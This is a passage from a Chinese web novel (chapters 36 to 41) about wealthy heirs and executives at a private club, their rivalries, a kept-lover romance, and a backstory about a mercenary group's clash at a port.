江南月了然一笑:“这种近几年只能靠吸江家血才能喘口气的破落户还能惹到你?既然碍了你的眼,我回头就让下面把跟他们的那边的合作全断了。” “他们背后有人吗?”时清徵问道。 “你问他们的背景啊?”江南月想了想。 “硬要说的话,江家算不算?我那个小姑姑,嫁给了程氏现在的总裁。” 她努力回忆着:“哦,想起来了,叫程俊安。老爷子大寿时露过脸,没什么印象了。” 时清徵:“嗯,我知道是他。” 江南月这下真好奇了。能得罪时清徵还活蹦乱跳到现在的,可不多见。 她身体微微前倾,眼中闪烁着八卦的光芒:“说说,他怎么惹到你了?要不要参考下我是怎么收拾江家那群老东西的?保证精彩纷呈,包教包会!” 要不是环境限制,她恨不得现场开课。 时清徵沉默着,但那瞬间冷冽下来的眼神和周身散发的低气压,已经给了江南月明确的答案。 江南月收敛了玩笑神色,正色提醒道:“这里是A国,规矩多,眼睛也多。你想玩,悠着点,别闹得收不了场。” “嗯,知道。”时清徵应道,语气听不出波澜。 江南月还是忍不住八卦之火:“是回国后撞上了?” “不是。” 时清徵的声音低沉下去:“是很久以前的事了。” 江南月敏锐地捕捉到他语气中的异样和抗拒,识趣地不再追问。 她转而提出更实际的建议:“要是真想动程氏,黑曜石那边是专业对口的,干净利落。我记得你在那边也有股吧?用起来方便。” 时清徵沉默片刻,最终,薄唇轻启: “不急。” “我想....慢慢来。” 江南月看着他眼底深处那抹沉寂的寒意,忽然觉得这种“慢慢来”让人脊背生寒呢。 “行吧,你开心就好。” 江南月无所谓地耸耸肩。 她忽然想起什么,随口问道:“对了,你这次在A国打算待多久?” 时清徵微微蹙眉,似乎在计算时间:“半年左右吧。” “半年?还行。” 江南月点点头,随后极其自然地抛出一个问题:“那你现在住哪儿?酒店还是买了房?A国这边我熟,地段好的.......” 她的话还没说完,就被时清徵平静的回答打断了: “住别人家。” “咳——!!!” 江南月猛地被自己口水呛到,剧烈地咳嗽起来,好不容易顺过气。 她瞪大眼睛盯着时清徵,声音拔高了八度:“你、你什么?!住别人家?!!” 她上下打量着时清徵,眼神里充满了难以置信和深深的痛惜:“老弟!你已经抠门到这种地步了吗?!不至于吧?!FK集团是破产了还是怎么着?还是说.......” 她眼神变得微妙起来:“......房东特别好看?” 江南月还以为时清徵是在租房住。 时清徵面无表情地瞥了她一眼,语气毫无波澜:“不行?” “行行行!太行了!” 江南月翻了个巨大的白眼,朝他竖了个大拇指,讽刺意味十足:“您老人家爱住桥洞都行,我管不着。” 她给了时清徵一个你病得不轻,我服了的复杂眼神。 为了拯救这位“误入歧途”的兄弟,主要是想拉他下水一起嗨,江南月再次抛出橄榄枝: “哎,说真的,我在市中心新开了家会所,顶级配置,会员制,贼有格调!要不要去放松一下?姐请客!” 时清徵眼皮都懒得抬一下。 江南月不死心,压低声音,带着点诱哄的意味:“啧,有漂亮妹妹哦,清纯的、性感的、知性的......要什么样的有什么样的!还有风情万种的姐姐们。” 她观察着时清徵的反应,对方依旧无动于衷。 她眼珠一转,露出一抹促狭的笑意,凑近一点:“喂,你该不会.....是对女的没兴趣吧?其实我那儿小弟弟也......” 她故意拖长了调子。 “你自己留着享用吧。” 时清徵打断她,直接站起身,不再理会她的聒噪。 第37章 比你家那位会哄人 时清徵走到柜台边,对着那位老板道:“你最近还好吗?” 老板闻声立刻放下抹布,站直身体,眼神带着恭敬,点头道:“挺好的,先生。” 时清徵点点头,语气平淡却带着分量:“嗯。有需要的话,随时联系我。” “好,好的!谢谢先生!” 老板显得有些受宠若惊,连连应声。 时清徵不再多言,转身推开了面馆的玻璃门,走了出去。 江南月看着这一幕,若有所思地跟了出去。 她看着时清徵的背影,又回头望了一眼那间简陋的小店,忍不住问道:“这个老板?” 时清徵脚步未停,声音顺着风飘过来:“以前在FK行动部跟着我的,后来重伤,不适合前线了,就退下来做后勤,这是他自己选的。” 江南月想起店里的场景,撇撇嘴:“啧,你这前下属,生活得还挺......朴实无华啊。” 她实在说不出“贫穷”这个词,但意思差不多。 FK行动部的不至于这么穷吧,他们FK待遇挺好的啊。 “嗯,他自己的选择。” 时清徵重复了一遍,语气里听不出情绪。 “行吧,人各有志。” 江南月无奈地摊手。 看着时清徵越走越快,丝毫没有等她或再聊的意思,她赶紧快跑几步追了上去。 “哎!等等!” 她扯住时清徵的胳膊,不死心地继续推销,“我说真的!喜欢男的女的都无所谓!我那地方包罗万象,啥样的都有!保证让你乐不思蜀。” “别急着走啊,一起去玩玩嘛,放松一下,我在这边也没几个认识的人,想玩都找不到伴......” “没空。” 时清徵干脆利落地甩开她的手。 “啧,你这人油盐不进啊。” 就在这时,一辆亮着“空车”灯的出租车正好驶过。 时清徵毫不犹豫地抬手拦下,拉开车门坐了进去,动作流畅得没有一丝留恋。 出租车尾灯闪烁了几下,很快汇入车流,消失在街道尽头。 江南月站在原地,看着出租车消失的方向,忍不住“啧啧”几声,摇了摇头。 她走到停在路边那辆暗红色超跑旁,拉开车门坐了进去。 然后手指敲打着方向盘,看着时清徵离开的方向,低声感叹: “唉,还是太年轻啊,不懂得享受人生的乐趣。” 引擎轰鸣声响起,一道红色流光驶离了这片街区。 ———— 蓝品会所,私人包厢。 顾鸣鹤推门而入时,一股烟味混杂着酒精和香水的气息扑面而来,呛得人喉咙发痒。 水晶吊灯下,光线迷离暧昧,空气里仿佛飘着一层淡蓝色的烟雾,缭绕升腾,直冲天花板,让整个空间都显得影影绰绰。 颇有几分群魔乱舞,修仙问道的荒诞感。 宋燕归和靳云封早已到了,正和几个其他家族的纨绔二世祖们围坐在牌桌旁,吆五喝六地打着牌。 筹码散落,酒杯半空,气氛喧嚣而颓靡。 顾鸣鹤几不可察地皱了皱眉,抬手示意侍立一旁的服务生,让他把排风系统开到最大。 服务生立刻躬身应下,悄无声息地去操作。 顾鸣鹤这才在沙发区找了个相对清净的位置坐下,与这片喧嚣格格不入。 “哟!顾哥来了!” 眼尖的几人立刻停下手中的牌,脸上堆起热络得近乎谄媚的笑容,纷纷出声招呼,语气亲热得仿佛真是多年未见的亲兄弟。 宋燕归那头标志性的长发不见了,却还是留着一定长度,在后脑勺能扎起一个不长的小揪揪。 然后配上他那张俊美得过分的脸,更添几分邪气。 他抬眼看向顾鸣鹤,唇角勾起一抹意味深长的笑,随即朝身后角落打了个清脆的响指。 一个一直安静站在阴影里的男孩闻声走了出来。 他看起来年纪很轻,身形单薄,面容姣好得近乎脆弱,皮肤在迷离灯光下显得格外白皙,正是时下很多人追捧的那种精致易碎的类型。 他端着酒杯,步履轻盈地走到顾鸣鹤面前,微微躬身,声音清亮又带着一丝恰到好处的怯意:“顾总,我敬您一杯。” 顾鸣鹤眼皮都没抬一下,仿佛没听见,修长的手指径直伸向果盘,慢条斯理地捻起一颗红枣,放在指尖把玩。 男孩举着酒杯的手僵在半空,脸上的笑容依旧得体,眼底却掠过一丝不易察觉的慌乱。 他很快调整过来,仰头将杯中的液体一饮而尽,姿态倒也算干脆利落。 随后,他握着空杯,识趣地后退了小半步,垂首侍立在顾鸣鹤斜前方不远不近的位置。 见男孩杵在那儿,顾鸣鹤却毫无反应,一直留意这边的宋燕归不乐意了。 他甩出手里一张牌,对着顾鸣鹤的方向扬声笑道:“傻站着干嘛?顾总难得来一趟,你倒是拿出点本事哄哄他呀!把他哄高兴了,要什么没有?” 这话立刻引来牌桌上一片暧昧的附和与哄笑: “就是就是!顾哥,这小孩多周正啊!” “比上次那个懂事多了!” 靳云封也叼着烟凑热闹,他吐出一个烟圈,隔着烟雾朝顾鸣鹤挤眉弄眼,揶揄道: “对啊顾哥!这小东西瞧着就乖,软绵绵的,肯定比你家里养的那个会哄人。试试呗?” 他话音未落,只见顾鸣鹤手腕一抖,指尖那颗红枣“嗖”地一声,精准无比地砸在靳云封的脑门上。 “哎呦喂——!” 靳云封猝不及防,痛呼一声,捂着瞬间泛红的额头跳了起来:“顾哥!你砸我干嘛?!疼死我了!” 顾鸣鹤眼皮微抬,又从果盘里慢悠悠地拈起一颗更大的红枣,在掌心漫不经心地抛接着笑意不达眼底: “你要是喜欢这种乖的,自己留着玩,扯上我做什么?” “我......我不好这口啊顾哥!” 靳云封委屈地揉着额头,感觉脑门肯定起包了。 他看着顾鸣鹤手里那颗随时可能再次飞来的暗器,头皮发麻,立刻祸水东引,指着宋燕归嚷嚷: “都是他,宋大出的馊主意。人也是他找来的,不关我事啊!” 宋燕归被点名,摊了摊手,一脸无辜和好心被当驴肝肺的表情: “天地良心,我这不也是看鸣鹤最近清心寡欲,想给他添点情趣嘛。” 顾鸣鹤终于将那颗在掌心抛玩的红枣送到嘴边。 “咔嚓”一声,咬下一小口,慢条斯理地咀嚼着。 他眼风扫过宋燕归,又落到那个局促不安的男孩身上,幽幽道:“我的事,还用得着你来操心?” 说完,他对着那个一直僵硬站着的男孩,随意地摆了摆手。 男孩如蒙大赦,紧绷的身体瞬间松懈下来,脸上强撑的笑容也垮了下去。 他飞快地朝着顾鸣鹤的方向鞠了一躬,连头都不敢抬,几乎是贴着墙角,脚步慌乱又悄无声息地溜出了包厢。 第38章 与你无关 宋燕归把手里的牌往桌上一撂,随后站起身,径直走到顾鸣鹤这边的沙发区。 他一点没客气,一屁股重重地坐进顾鸣鹤旁边的沙发里。 他倾身向前,拿起桌上醒好的酒,熟练地往两个空杯里倒酒。 一杯推到自己面前,另一杯则推到顾鸣鹤手边。 顾鸣鹤垂眸瞥了一眼那杯酒,没动。 宋燕归挑眉,唇角勾起一抹玩味的笑,身体向后靠去,长腿交叠: “怎么?顾总现在是打算酒色皆空了?酒也不沾了?” 顾鸣鹤轻哼一声,带着点嘲讽的意味,终于伸手端起了那杯酒: “你注意点措辞。我以前什么时候沾过色了?” 他语气平淡,说完,浅浅啜饮了一口。 宋燕归被他噎了一下,随即夸张地点头附和:“成成成,是我失言!咱顾总是万花丛中过,片叶不沾身,洁身自好得很!成了吧?” 他端起自己的酒杯,带着点挑衅的意味朝顾鸣鹤举了举。 顾鸣鹤懒得跟他争辩,嗤笑一声,随意地用自己的杯沿碰了一下宋燕归的杯子,发出一声脆响。 宋燕归将杯中的酒一饮而尽,然后将空杯重重放回桌面,身体微微前倾,调整了下坐姿。 那双眼望向顾鸣鹤:“说真的,不知道的,还以为是你家里养的那只小雀儿管得严呢。” 他顿了顿,语气带着明显的试探和一丝不易察觉的轻蔑:“这次怎么没带出来玩玩?藏着掖着,宝贝着呢?” 顾鸣鹤抬眼扫过宋燕归的脸:“你心里没点数?哪次你逮着机会不是话里话外挤兑他?不知道的,还以为你跟他有什么深仇大恨。” “我就是单纯看他不顺眼。” 宋燕归直言不讳,身体向后靠回沙发背,双臂摊开搭在扶手上,姿态嚣张。 “我看他第一眼就觉得他浑身上下透着股说不出的劲儿,看着就不安分。你到底看上他哪点了?就那张脸?” 顾鸣鹤晃了晃杯中的冰块,发出清脆的声响。 他唇角勾起一抹没什么温度的弧度,眼神带着点戏谑:“用得着你管?宋大少什么时候对我的人这么感兴趣了?还是说......你喜欢我?” 宋燕归瞬间浑身的汗毛炸起,脸上露出极其嫌恶的表情:“你可别恶心我!” 他从顾鸣鹤旁边的沙发上跳起来,迅速挪到了对面的单人沙发上坐下,仿佛顾鸣鹤是什么病毒传染源。 “呵。” 顾鸣鹤发出一声短促的冷笑,翻了个白眼。 “你以为我瞧得上你?” 他不再看宋燕归,身体放松地向后靠进柔软的沙发里,长腿交叠,姿态恢复了之前的闲适慵懒。 只是目光有些放空,指尖无意识地摩挲着冰冷的杯壁。 不知道时清徵现在在做什么.......他说今晚有事,也不知道现在回去了没有? 顾鸣鹤的思绪不受控制地飘远了一瞬。 宋燕归看着他那副心不在焉的样子,心里更窝火,没好气地哼道: “行行行,我懒得管了!反正我看他是横竖不顺眼,总觉得那小子不是个省油的灯,心思不正。” 顾鸣鹤懒洋洋的声音飘过来,带着点漫不经心的笃定:“你看不上正好,反正也轮不到你看上。” 他顿了顿,像是想起了什么,唇角几不可察地弯了一下,补充道:“而且我觉得他挺乖的,听话。” “乖?听话?” 宋燕归像是听到了天大的笑话,却也没再反驳。 他太了解顾鸣鹤了,这家伙认定的事,九头牛都拉不回来。 宋燕归也没有再深聊这个话题,而是清了清嗓子,眼神里的轻佻褪去几分,身体微微前倾: “听说你们天和集团最近在搞那个城东新区的开发招标?动静不小啊。” 顾鸣鹤闻言,眼皮都没抬一下,将那杯酒往玻璃桌上一搁。 然后才慢悠悠地抬眼,目光平静地看向宋燕归:“嗯。怎么,宋总感兴趣?” “瞧你这话说的。” 宋燕归脸上笑意不减,从对面沙发上站起来,几步又走回顾鸣鹤身边坐下。 他动作极其自然地伸长手臂,一把揽住顾鸣鹤的肩膀,身体也凑近了些,压低了声音: “这不是想着肥水不流外人田嘛!我们都多少年的兄弟了,知根知底的!你给我稍微透点底呗?要求,倾向,或者....哪个环节需要特别关照一下?” 顾鸣鹤任由宋燕归揽着,没推开,只是侧过头,吐出两个字,清晰又干脆: “不给。” “.......” “不是吧鸣鹤?这么无情啊?” 他松开手,身体向后撤开一点。 顾鸣鹤语气平静。 “天和的门槛,凭本事迈。” 他顿了顿,看着宋燕归。 “更何况,宋总,你总要先把自家院墙砌稳了,再想着来砌别人家的高楼?” 他最后一个尾音微微上扬,似乎在提醒什么。 “这就没意思了啊。”宋燕归又倒了一杯酒,慢慢喝着。 顾鸣鹤深以为然地点头:“对,喝酒有意思。” 宋燕归白了他一眼:“你还是这幅样子。” 他就没能成功从顾鸣鹤口中套出过一次信息,一次都没有啊! 顾鸣鹤拿起方才搁下的酒杯,有商有量道:“要是宋总连这种投标都搞不定,那还是趁早退休吧。” “要是真能退休就好了。”宋燕归随意道。 他家那老头子都一把年纪了还攥着手里的那点权不放呢。 活到老工作到老啊,怕是要把这种精神带到棺材里去。 顾鸣鹤手机忽然震动了一下,他拿起来一看,是时清徵发来的消息。 【你洗了蒜了:先生,我到家了。】 顾鸣鹤看着这条消息发了好一会呆,随后才回复。 【顾鸣鹤:好。】 又嫌不够,补充了句。 【顾鸣鹤:早点休息。】 对面回复地很快。 【你洗了蒜了:好的。】 看着顾鸣鹤盯着手机发呆,宋燕归也是看破不说破,笑着又喝了一口酒。 宋燕归话锋陡转:“说起来......我前两天新交了个女朋友。” 语气刻意放得轻飘随意。 顾鸣鹤眼皮都没抬一下,银质小刀在他指间翻飞,苹果皮连成一条完整的螺旋,垂落在盘沿。 宋燕归对他的漠视浑不在意,反而倾身凑近,声音压低:“也是在夜总会认识的,她是那里的陪酒。” “嗯。” 顾鸣鹤终于从果肉上撩起眼皮,仅仅一瞥,又落回到刀上。 宋燕归眯了眯眼。他身边的女人如流水,宋家从不过问,只要不闹出格。 “挺省心的,懂分寸,知进退。晚上几点回,跟谁应酬,从不啰嗦半句。” 顾鸣鹤手中的刀,终于停下。 他不紧不慢地将削净的苹果切成均匀小块,挑起最中心那块送入口中咀嚼,咽下,才淡淡开口:“说完了?” 宋燕归被这冷淡噎住,随即扯开一抹玩味的笑:“就这?我还以为.....多少能有点共鸣?” “共鸣?” 顾鸣鹤终于正眼看他。 “跟你那些女友?” 银刀“当啷”一声被掷回果盘。 “省省吧。” 宋燕归不依不饶,身体前倾:“我只是觉得,你对家里那位......是不是有点太惯着了?” “燕归。” 顾鸣鹤的声音不高,他拿起餐纸擦拭着手指。 “我的私事,还轮不到旁人置喙。” 他站起身,居高临下地投来一瞥:“管好你那些‘省心’的就好。” 宋燕归仰靠在沙发上,忽然低笑出声,举起酒杯做了个投降的姿势:“行,算我多嘴。” 他仰头饮尽杯中酒,放下空杯,声音里带着探究,“不过鸣鹤,你该不会是.....认真的吧? 顾鸣鹤迈向门口的脚步,微不可察地凝滞了半秒。 他没有回头,只是抬手,扯松了领带。 关上门的那刹那,一句轻飘飘的话才随风荡了回来: “与你无关。” 第39章 江董姐姐 靳云封看着宋燕归阴沉下来的脸,忍不住咂了咂嘴,抓了抓头发,一脸的不理解: “我说宋大啊,你没事儿老惹他干嘛?” 他朝着门口努努嘴:“不就一只‘金丝雀’吗?顾哥乐意养着玩,你至于这么跟人家过不去?还把人给挤兑走了。” 他语气里带着点对宋燕归多管闲事的埋怨。 宋燕归扯了扯嘴角,语气带着点被误解的烦躁和一丝不易察觉的忧虑:“我只是在担心鸣鹤罢了,你懂什么?” “嘶——” 靳云封倒吸一口凉气,仿佛听到了什么天方夜谭。 他身体前倾,胳膊肘撑在膝盖上,凑近宋燕归,脸上写满了“你逗我呢”的表情: “关心?至于吗?顾哥是什么人?他做事什么时候没分寸了?用得着你在这儿瞎操心?” 他一边说着,一边大手伸向果盘里摸索。 指尖先是碰到一颗枣子,额头隐隐发痛。 他嫌弃地“啧”了一声,又摸到一颗葡萄,眼睛一亮,满意地揪下来,看也不看就丢进嘴里。 随后含糊不清地继续道:“我看顾哥挺有分寸的啊,该玩玩,该冷冷,多冷静自持一人儿.....” 他咂摸着嘴里的葡萄汁水,眼睛更亮了。 哎,这葡萄不错,回头得问问经理哪儿进的货。 “分寸?我看未必。” 宋燕归冷笑一声。 “怎么就未必了?” 靳云封又揪了一颗葡萄塞进嘴里,完全没把宋燕归的担忧当回事。 “我看顾哥清醒得很!” 宋燕归像是没听见他的反驳,自顾自地说下去,声音低沉而严肃: “靳二,鸣鹤是什么家庭,你我都心知肚明。顾家那样的门第.....他要是玩玩,图个新鲜,顾家那边或许睁只眼闭只眼,只当没看见。” 可要是他真对他养的那个人,动了不该动的心思,产生了什么情愫.......呵。” 那一声短促的冷笑,包含了太多未尽之意 靳云封咀嚼的动作慢了下来,他难得地沉默了大约两秒钟,似乎在消化宋燕归话里的分量。 然后,他咽下葡萄,非常实诚地,带着点困惑地看着宋燕归,语出惊人: “宋大啊,说真的,你现在这样……” 他上下打量着宋燕归那副忧心忡忡、苦口婆心的样子,挠了挠下巴。 “就.....特别像那种电视剧里的反派你知道吗?就是那种,打着‘为你好’的旗号,棒打鸳鸯,然后自己其实爱而不得,心理扭曲的.......深情男二?” “滚!” 宋燕归被他这不着调的比喻气得脸都黑了。 “你也给我滚蛋!跟你这没心没肺的傻逼说不通!” “切——!” 靳云封朝着宋燕归翻了个巨大的、毫无形象可言的白眼。 “好心当成驴肝肺!懒得理你!” 他拍拍屁股站起身,果然转身就走。 宋燕归看着他没心没肺的背影,一口气堵在胸口,只觉得对牛弹琴。 他和靳云封不一样。靳家上面有能干的兄长顶着,靳云封可以一辈子做个无忧无虑、只知玩乐的纨绔。 但他不行。 他身处其中,看得更清楚。 顾家不是普通的豪门望族,顾鸣鹤作为这一代最被看好的继承人,他的一举一动都牵动着无数人的神经。 如果顾家那边仅仅知道他养了个无关紧要的“金丝雀”,或许只会皱皱眉,不会过多干涉。 可如果顾家察觉到,顾鸣鹤对那只“雀儿”并非单纯的豢养和玩弄,而是投入了感情? 尤其那人还是个男子。 宋燕归几乎能想象到那将掀起怎样的惊涛骇浪。 顾家绝不可能容忍这种污点,更不可能容忍一个可能动摇继承人根基的祸水。 到时候,在顾家的雷霆手段之下,那只“雀儿”的下场不堪设想。 他不过是旁观者清,看得透彻些,想提前给顾鸣鹤提个醒,敲个警钟罢了。 为什么这么担心? 顾鸣鹤看似坐稳了继承人之位,手握权柄,风光无限。 但宋燕归看得比谁都清楚,顾家内部,从他那野心勃勃的二叔顾砚川,到那些倚老卖老、各怀心思的叔伯元老,多少双眼睛正虎视眈眈地盯着顾鸣鹤。 那些人,无时无刻不在寻找顾鸣鹤的破绽,等待着他行差踏错。 从情意上,他宋燕归与顾鸣鹤是穿一条裤子长大的兄弟。 从利益上,他宋燕归乃至整个宋家的利益早已与顾鸣鹤深度绑定。 宋家的许多产业布局,未来的发展方向,都与顾鸣鹤掌舵下的天和集团相关。 他们是一荣俱荣、一损俱损的关系。 顾鸣鹤的地位稳固,宋家就能乘势而上,可一旦顾鸣鹤失势,宋家也会遭受池鱼之殃。 在宋燕归看来,时清徵的存在,尤其是顾鸣鹤对他那明显超出“玩物”范畴的在意和纵容,就是一个可以被对手无限放大的弱点。 宋燕归这心态说得好听叫谨慎,说不好听就是被迫害妄想症,总把一件事想的太严重。 不过那种环境下长大的人,有这样的心理其实不难理解。 走廊里相对安静,但那股莫名的烦躁却缠绕着他,越勒越紧。 顾鸣鹤烦躁地一把扯松了领带,忍不住低骂了一句。 就在这时,走廊拐角处,一个身影迎面走来。 那是个短发女子,身姿高挑利落,容颜俏丽,又带着一股英气。 此刻,她怀里正搂着一个身形熟悉的小男生,微微低头,声音带着点慵懒的笑意,像是在哄着什么。 顾鸣鹤目光扫过,那个小男生,正是刚才在包厢里,被宋燕归推到他面前敬酒的那个。 “江董姐姐.......”小男生声音带着点委屈和后怕的颤抖,脸埋在江南月的颈窝处。 “我不想给你添麻烦,我也惹不起宋总.......” 江南月轻笑一声,带着点漫不经心的宠溺,顺手揉了揉他柔软的发顶。 嗯,手感确实不错。 她其实早忘了这男孩具体叫什么名字,只记得是从某个会所里一眼相中带回来的。 不过,这不重要,“宝贝”这个万能称呼就很好。 “宝贝伤心了?”她语调上扬,带着点哄劝的意味,“以后不想去就不去,乖。” 她指尖轻轻刮了下男孩的下巴。 “姐姐,你真好......” 男孩像被顺毛的猫,紧紧抱住江南月的一只胳膊,脸颊在她颈侧依赖地蹭了蹭,声音又软又糯。 湿漉漉的眼睛抬起来望着她,像无辜的小鹿,纯粹又干净。 江南月很受用。 管他是真纯情还是演技好,能让她此刻心情愉悦就够了。 “宝贝,陪我喝两杯去。” 她浅笑道,打算把人带去自己的专属包间。 “都听姐姐的。”男孩乖巧应声,眼神里的依赖恰到好处。 江南月一抬头,目光恰好撞上迎面走来的顾鸣鹤。 第40章 可惜这张脸 江南月眼中先是飞快地掠过一丝纯粹的惊艳。 这男人皮相骨相都堪称顶级,气场更是强大。 但随即,那点欣赏立刻被更现实的考量覆盖,化作一丝惋惜。 好看是好看,可惜是天和集团的顾鸣鹤。 这种级别的存在,绝不是她能随意拿捏招惹的玩物。 可惜了这张脸。 心思辗转间,她脸上已挂起恰到好处的社交微笑,微微颔首:“顾总?好巧。” 姿态大方,既不谄媚,也不失礼。 天和集团的掌舵人,该给的面子必须给足。 顾鸣鹤也认出了她。 前些日子江氏集团大换血,这位横空出世的江董可是在京圈掀起了不小的风浪。 如今怕是无人不识这位手段凌厉,背景神秘的江家新贵了。 “江董。”顾鸣鹤停下脚步,也礼节性地颔首回应。 “顾总这是.....要走了?” “要不要一起再玩会儿?我这边刚开了瓶不错的酒。” 她只是随口邀请,深知对方不可能答应。 “不必了,我还有事。”顾鸣鹤果然拒绝得干脆利落。 “行。” 江南月也不强求,笑容依旧得体:“那有空再聚。我可是久仰顾总大名,今日算是正式认识了。” “下次见面,定请江董喝一杯。” 顾鸣鹤也公式化地回应了一句,算是给足了面子。 两人又随口寒暄了几句无关痛痒的场面话,便错身而过。 直到顾鸣鹤的身影消失在走廊尽头,一直像鹌鹑一样缩在江南月怀里的小男生才敢微微抬起头。 他脸颊还带着点红晕,声音细若蚊呐:“江董,您.....您认识顾总啊?” 刚才那场面,他尴尬得恨不得把头埋进地板缝里。 江南月揽着他继续往前走,语气随意:“不认识,听过名号罢了。” 天和集团,作为顾家庞大商业帝国最核心的存在,向来是顾家继承人才能掌控的。 在国内商界是真正只手遮天的存在,在国际上也声名赫赫。 方才她主动搭话,纯粹是出于商人的本能,先混个脸熟,为将来可能的合作铺个路。 “这样啊......”男孩似懂非懂。 江南月侧头瞥了他一眼,带着点促狭:“怎么?你不会惹到他了吧?” “没!没有!”男孩吓得连连摇头。 “我怎么敢啊!就是在包厢里......敬了他一杯酒.......” 他声音越来越小,显然那段经历并不愉快。 “哦?是他啊。”江南月挑了挑眉,眼中闪过一丝玩味。 “他喜欢男的?” 她对顾鸣鹤的取向有点好奇了。 “不知道,我真的不知道!”男孩头摇得更厉害了,脸色都有些发白,生怕自己说错什么话惹祸上身。 他哪里敢随便议论那位。 “啧,瞧把你吓的。”江南月失笑,揉乱了他的头发。 “算了,管他喜欢什么呢。这种位置的人,私底下玩得说不定比谁都花。” 她语气带着点随意和慵懒:“走走走,别想那些了,陪姐姐聊点‘正事’去~” 她搂着小男生,脚步轻快地走向自己的包间。 还得是这种小男生才深得她的心啊。 包厢里灯光迷离,音乐暧昧。 几个年轻俊秀的男生使出浑身解数,端着酒杯想往江南月身边凑,试图给她敬酒,博得这位江董的青睐。 江南月慵懒地陷在沙发里,自己倒是喝得不多,偶尔浅啜一口。 她更享受的,是看着身边的小男生们被她哄着,一杯接一杯地喝下去,脸颊渐渐染上红晕,眼神也变得迷离起来。 尤其是那个跟着她进来的男孩,坐在离她最近的位置,已经被她哄着灌了好几杯。 此刻他眼神有些涣散,努力聚焦看着江南月,声音带着点软糯的醉意:“姐姐,你,你怎么.....一点都没醉啊?” 模样既委屈又可爱。 江南月轻笑出声,带着点恶作剧得逞的愉悦。 她伸出手指,轻轻挑起周默的下巴,让他迷蒙的双眼对上自己带着笑意的眸子:“宝贝儿~就算你们全趴下了,姐姐我也能清醒地数星星呢~” 周默被她看得心跳加速,借着酒劲,鼓起勇气,眼神带着期许和一丝不易察觉的忐忑: “姐姐,我,我叫周默。” “嗯哼,知道了,宝贝。” 江南月笑意盈盈,回答得无比自然。 周默眼底飞快地掠过一丝失望,但转瞬即逝,被他很好地掩饰在醉意之下。 江南月将他那一瞬间的失落尽收眼底,觉得有趣极了。 她恶趣味地用手指揉了揉周默的嘴角,声音放柔了些:“好啦,逗你的。周默,姐姐记住了。” 其他几个男生见状,也纷纷效仿,争先恐后地报上自己的名字,试图在江南月心中占据一席之地。 江南月嘴上应着“乖”,“知道了”,笑容依旧迷人,实则那些名字都如同过耳的风。 周默本以为自己酒量不错,此刻却只觉得天旋地转。 反观江南月,依旧气定神闲,甚至眼神更加清亮。 他有些狼狈地靠在沙发背上,脸颊绯红,连鼻尖都透着粉红,那双水眸仿佛要落下泪来。 “姐姐,唔.....好难受......” 他实在撑不住了,身体软软地朝江南月这边倒过来,头轻轻靠在她的肩上。 意识模糊间,一个念头无比清晰:如果是江董......他可以。 江董跟别的金主都不一样。 他闭着眼,感受着这份短暂的,带着醉意的依恋。 就在这时,一阵突兀的手机铃声划破了包厢里暧昧迷离的氛围。 江南月瞥了一眼来电显示,不是什么紧急事务。 她随意地接起,语气带着被打扰的慵懒和不耐:“什么事?” 那几个男生纷纷站起身,低着头,悄无声息地退到包厢角落,屏住呼吸,生怕听到什么不该听的秘密。。 “跑了?”江南月听着电话那头的汇报,眉梢都没动。 “知道了。不用管,随他去。” “嗯,就这样,挂了。” 干脆利落地结束通话。 周默强撑着醉意,小心翼翼地凑近,声音带着期待和一丝不易察觉的讨好:“姐姐?我们.....还继续吗?” 他舍不得这么快就结束。 “不了。” 江南月站起身,动作利落干脆。 她看着周默失落的小脸,又勾起一抹笑,伸手亲昵地摩挲着他滚烫的脸颊,指尖带着安抚的意味: “乖,姐姐累了。我们......回家再慢慢聊,嗯?” “回,回家?!” 周默猛地睁大眼睛,醉意都吓醒了几分。 “好.....好的!姐姐!” 他感觉心脏都要跳出胸膛了,能被江董带离会所,这简直是莫大的殊荣! 江南月要带人走,根本无需跟任何人打招呼。她直接拿出手机,简短地吩咐了司机一句。 很快,司机便恭敬地出现在包厢门口,将脚步虚浮,又惊又喜的周默小心地搀扶出去,送上了停在会所后门那辆低调奢华的轿车。 目的地是江南月在附近的一处高级公寓。 第41章 神经毒素发作 车子平稳地行驶在夜色中。 刚才那通电话其实也不是什么大事。 一个月前,她在碎洲端掉了黑潮公司的一个港口,刚完成清场,一支装备精良的小队从暗处杀出,打了他们一个措手不及。 江南月最开始只当是哪个不小势力想趁火打劫。 一场短兵相接的激烈交火后,才发现对方的火力凶猛,战术配合更是默契突击,绝非寻常黑帮或散兵游勇的雇佣兵能比。 最后凭借绝对的人数和火力优势,他们成功压制了对方,并在一片狼藉中.......俘虏了一个人。 对,只有一个。 其他人,包括那个让她印象深刻的领队,都在混乱中成功撤离了。 事后审讯,才得知这竟是个天大的乌龙。 虽然未从那个俘虏的口中问出什么消息,但江南月高度怀疑这支小队隶属于某个大国极其隐秘的情报机构或特种作战单位。 他们接到一份线报,称当晚这个港口将有黑潮公司进行一批极其敏感的军火交易。 于是精心策划了这次突袭行动,准备人赃并获。 谁曾想就在他们行动前半个小时,江南月已经快刀斩乱麻,把港口给抄了。 黑潮公司的人死的死、跑的跑、抓的抓,港口瞬间易主。 这信息断层,直接导致这支官方队伍一头撞上FK武装。 万幸的是,江南月这边人多势众、装备也足够硬,而对方显然也非抱着必死决心来的。 激战虽烈,最终却奇迹般地没有造成不可挽回的伤亡。 而让江南月念念不忘的,是对方那个领队的惊鸿一瞥。 虽然戴着面罩看不清全貌,但露出的那双眼睛就足够吸引人,更别提那勾勒出的紧实腰线和修长双腿....... 啧,馋人。 当然,江南月绝不会承认自己当时有那么一瞬间的见色起意。 其实,对方能成功撤离,除了本身实力过硬,未必没有江南月暗中放水的成分。 她又不傻,既然看出了对方可能隶属官方,又有什么必要跟大国官方结下死仇? 脑子进水了才这么干。 象征性地抓一个“舌头”了解情况就够了,真要全歼了对方小队,后续的麻烦非得她头疼好久。 于是,她大手一挥,只把那个被手下摁住的倒霉蛋打包带走了,直接塞进了碎洲一个据点,派人严加看管。 结果回国后,江氏集团那场大清洗让她忙得脚不沾地,再加上时清徵那边关于幽灵组织的“正事”。 她早就把这个关在碎洲的人给忘到九霄云外了。 要不是刚才心腹下属十万火急地汇报,说那个倒霉蛋,被人救走了,江南月可能要下辈子才能想起这件事 江南月靠在椅背上。 跑了也好。 反正自己这边没打死他们一个人,还管了那家伙快一个月的饭,没饿死他也算仁至义尽了。 严格来说,是对方先动的手,自己只是正当防卫加抓了个舌头了解情况,最后还让他跑了。 这剧本,就算对方找上门来,她也能理直气壮地掰扯清楚。 没找他们要这个月的伙食费和住宿费,已经是她大发慈悲了。 